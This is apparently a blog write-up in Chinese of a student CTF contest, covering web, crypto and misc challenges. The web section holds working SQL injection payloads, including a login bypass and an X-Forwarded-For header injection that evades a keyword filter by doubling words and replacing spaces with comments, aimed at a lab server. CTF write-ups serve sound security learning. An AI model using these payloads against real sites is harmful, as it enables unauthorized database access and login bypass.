Web题
水溶C的第一个网站:
打开网页,发现无法右键,按F12没有任何反应。于是在浏览器菜单里打开开发者工具查看源代码,发现网页屏蔽了这些鼠标和键盘事件:
根据网站标题提示的Inspect Me和屏蔽鼠标键盘分析可能在源代码中有突破口,于是直接下载整个网站,用grep或者Notepad++全局搜索网站的所有文件,尝试寻找flag:
找到三段flag,拼接即为最终flag
python是世界上最好的语言
游戏规则
判断以下式子答案的正误在两秒内提交你的答案,式子正确提交true,错误提交false,答对20次可以获得flag
由于某位长者很讨厌速度快的记者,所以你不能在1s内提交
游戏规则已经写的很清楚了,咱直接上代码跑:
import bs4
import requests
import cookielib
import urllib2
import time
url="http://10.128.11.66:30888/"
i=0
cookie = cookielib.CookieJar()
handler = urllib2.HTTPCookieProcessor(cookie)
opener = urllib2.build_opener(handler)
res=opener.open(url)
request=requests.get(url,cookies=cookie)
soup = bs4.BeautifulSoup(request.text, 'lxml')
time.sleep(1)
for i in range(0,20):
calc=''
calc= soup.div.string
ca=calc.split('=')
ans=ca[1]
left=eval(ca[0])
right=int(ans)
if left==right:
postdata={'answer':'true'}
else:
postdata={'answer':'false'}
r=requests.post(url,postdata,cookies=cookie)
print r.content
time.sleep(1)
代码跑完就吐答案了~
Simplesql
网页上除了simplesql提示这题是注入以外没有啥有用的信息,查看源代码,发现有提醒“煤气泄漏”
于是判断这个网站有源码泄漏,尝试把url的simplesql.php改成simplesql.php.bak查看是否有不当的备份操作导致源码泄露,结果发现下载成功,得到源码:
审计代码,发现这种先组织查询语句$sql,且没有敏感词过滤后直接判断$query结果的查询方法存在SQL注入漏洞,且密码在输入之时就已经被md5加密,于是判断应当在用户名处尝试注入。根据查询语句
select user from php where (user='$user') and (pw='$pass')
构造username的payload
admin') or 1=1 or ('fucklajimd5pw
利用查询语句的逻辑漏洞成功登陆,获得flag
where are you from?
进入页面提示 only guest from 127.0.0.1 can get flag ?
于是修改Header,将X-Forwarded-For: 127.0.0.1 添加入请求中,得到:
上面的那个flag是假的flag(想暴打出题人),但是下面流出了一段代码:
<?php
function getIp(){
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$cip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(!empty($_SERVER['REMOTE_ADDR'])){
$cip=$_SERVER['REMOTE_ADDR'];
}
else{
$cip='';
}
$cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
return $cip;
}
$query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");
审计代码,发现:
- 通过Client-ip或者xff传入的IP会先经过Preg_replace过滤敏感关键词
- query语句的查询方式可能存在sql注入漏洞
先传入一个payload尝试一下$query是否可以注入
X-Forwarded-For: 127.0.0.1','Test')#
似乎可以,继续尝试列出当前数据库,但是select会触发preg_replace的覆盖机制,我们可以利用preg_replace()函数的一个漏洞(替换后不从头开始扫描,而是从替换的位置开始扫描),我们可以通过重写来绕过:
X-Forwarded-For: 127.0.0.1',(selselectect database()))#
却发现不显示了:
不过看网页头部发现空格被过滤了,于是我们通过注释符号/*和*/来绕过:
X-Forwarded-For: 127.0.0.1',(selselectect/**/database()))#
成功了,我们继续构造payload查库
查表,抄家
X-Forwarded-For: 127.0.0.1',(selselectect/**/flag/**/ffromrom/**/flag))#
得flag
Re
太菜,一题都不会做QAQAQAQAQAQAQAQAQAQ
Crypto
南无啊弥陀佛
没啥好说的,与佛论禅密码,直接解:
http://www.keyfc.net/bbs/tools/tudoucode.aspx
程序员最强大的武器
题目已经提示了键盘,文件里都是两位数,猜测是坐标,
通过几次尝试,发现每个两位数对应的是以键盘上的Q为原点的字母,于是得flag
小姐姐营救计划!
这题类似实验吧里欢迎来到地狱的最后一阶段:
小姐姐(flag)被贝斯家族的人sixfour劫持了
你找到贝斯家族发现小姐姐被这个家族的仆人带到了另外一个名门望族,凯撒家族
中途他们还经过了兔子洞穴
最后你从凯撒家族的手里救回了面目全非的小姐姐(X2IvgJYnA1/VH8cy9APtBUoAqifVC4+xBM1u/NuPrzyw7e/zrqHCDnnNnPP=)
根据经验,密文似乎是Rabbit编码,但是直接解解不开,阅读全文,判断这是一个多加密的密文,路径大致是:明文-->Base64-->(凯撒)-->Rabbit-->凯撒
于是先把密文进行凯撒解密,后一个个尝试Rabbit解密
(暴打出题人!!!!!!!!!!!!!!)
经过一番尝试,解出的应该是Base64,于是解码,获得flag
Misc
SignUp
真正的开题送flag,没啥好说的.....
grep
grep -i --color "NISA" file
或者Notepad++搜索也可,直接获得flag
我要看阅兵ヽ(≧□≦)ノ
分析题目文字,猜测要等到2029-10-1 18:00才能打卡
于是安装apk到手机,把系统时间调成 2029-10-1 18:01,即可获得flag
CTF做累了来学两句诗吧
东方不败的三句诗通过初步判断是base64编码,解出后得到:七月在野 八月在宇 九月在户
分析题面发现这题是要让我们填这句诗,百度上面的那三局诗发现这是《七月》中的一句,完整的一句话是 七月在野,八月在宇,九月在户,十月蟋蟀入我床下。
所以这句话要我们填的就是十月蟋蟀入我床下这一句,so flag就是NISA{十月蟋蟀入我床下} (╯‵□′)╯︵┻━┻
欢乐电影
文件是一个gif格式的文件,但是打不开,猜测缺少文件头,用WinHex补全GIF文件头 47 49 46 38
文件正常打开,用Stegsolve逐帧分析,找到一张缺定位点的二维码
用Ps补全定位点,扫描二维码即为flag
彩蛋
Misc彩蛋2
在(ˉ▽ˉ;)...崩溃.png中,全局搜索FJNU得到
Comments | NOTHING